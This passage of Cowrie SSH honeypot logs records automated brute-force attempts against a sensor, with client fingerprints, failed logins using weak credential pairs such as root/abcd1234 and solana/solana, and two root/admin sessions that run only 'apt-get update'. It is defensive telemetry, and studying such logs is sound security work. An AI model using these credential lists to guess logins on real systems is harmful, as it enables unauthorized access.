0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:28.126719Z","src_ip":"172.237.20.62","session":"6994ccc26827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:28.609204Z","src_ip":"172.237.20.62","session":"6994ccc26827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:29.770735Z","src_ip":"172.237.20.62","session":"6994ccc26827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.168","src_port":37982,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff255be1d1a0","protocol":"ssh","message":"New connection: 80.94.92.168:37982 (10.17.0.5:22) [session: ff255be1d1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:33.405653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:33.787274Z","src_ip":"80.94.92.168","session":"ff255be1d1a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:33.791684Z","src_ip":"80.94.92.168","session":"ff255be1d1a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:35.564865Z","src_ip":"80.94.92.168","session":"ff255be1d1a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:36.801469Z","src_ip":"80.94.92.168","session":"ff255be1d1a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51198,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca76ec8666f4","protocol":"ssh","message":"New connection: 172.237.20.62:51198 (159.203.135.109:22) [session: ca76ec8666f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:38.897326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:38.905747Z","src_ip":"172.237.20.62","session":"ca76ec8666f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:39.066939Z","src_ip":"172.237.20.62","session":"ca76ec8666f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd123","message":"login attempt [root/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:39.569117Z","src_ip":"172.237.20.62","session":"ca76ec8666f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:40.733625Z","src_ip":"172.237.20.62","session":"ca76ec8666f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":34150,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea69bd060b05","protocol":"ssh","message":"New connection: 172.237.20.62:34150 (159.203.135.109:22) [session: ea69bd060b05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:49.900078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:49.904691Z","src_ip":"172.237.20.62","session":"ea69bd060b05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:50.067443Z","src_ip":"172.237.20.62","session":"ea69bd060b05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:50.631608Z","src_ip":"172.237.20.62","session":"ea69bd060b05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:51.797658Z","src_ip":"172.237.20.62","session":"ea69bd060b05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":21210,"dst_ip":"10.17.0.5","dst_port":22,"session":"d02c883f6485","protocol":"ssh","message":"New connection: 185.71.233.73:21210 (10.17.0.5:22) [session: d02c883f6485]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:59.706037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:59.710515Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:08:59.911229Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:00.508099Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:01.001508Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":45170,"dst_ip":"159.203.135.109","dst_port":22,"session":"aecf6e3dd1ec","protocol":"ssh","message":"New connection: 172.237.20.62:45170 (159.203.135.109:22) [session: aecf6e3dd1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:01.006683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:01.013123Z","src_ip":"172.237.20.62","session":"aecf6e3dd1ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:01.176850Z","src_ip":"172.237.20.62","session":"aecf6e3dd1ec","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:01.225884Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":21229,"dst_ip":"159.203.135.109","dst_port":22,"session":"578c9294ba63","protocol":"ssh","message":"New connection: 185.71.233.73:21229 (159.203.135.109:22) [session: 578c9294ba63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:01.855691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:01.860437Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:01.889052Z","src_ip":"172.237.20.62","session":"aecf6e3dd1ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:02.052825Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"?","message":"CMD: ?","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:02.448693Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"? ","message":"Command not found: ? ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:02.452741Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:02.458320Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:02.462312Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:02.676291Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:03.054670Z","src_ip":"172.237.20.62","session":"aecf6e3dd1ec","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":80,"height":60,"message":"Terminal Size: 80 60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:03.167171Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:03.381457Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:03.457163Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"?","message":"CMD: ?","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:04.597336Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"? ","message":"Command not found: ? ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:04.604827Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:04.610356Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:04.614494Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"apt-get update -y","message":"CMD: apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:05.614386Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":59574,"dst_ip":"159.203.135.109","dst_port":22,"session":"d109db44ee19","protocol":"ssh","message":"New connection: 172.237.20.62:59574 (159.203.135.109:22) [session: d109db44ee19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:11.800499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:11.805356Z","src_ip":"172.237.20.62","session":"d109db44ee19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:11.971516Z","src_ip":"172.237.20.62","session":"d109db44ee19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:12.459915Z","src_ip":"172.237.20.62","session":"d109db44ee19","protocol":"ssh"}
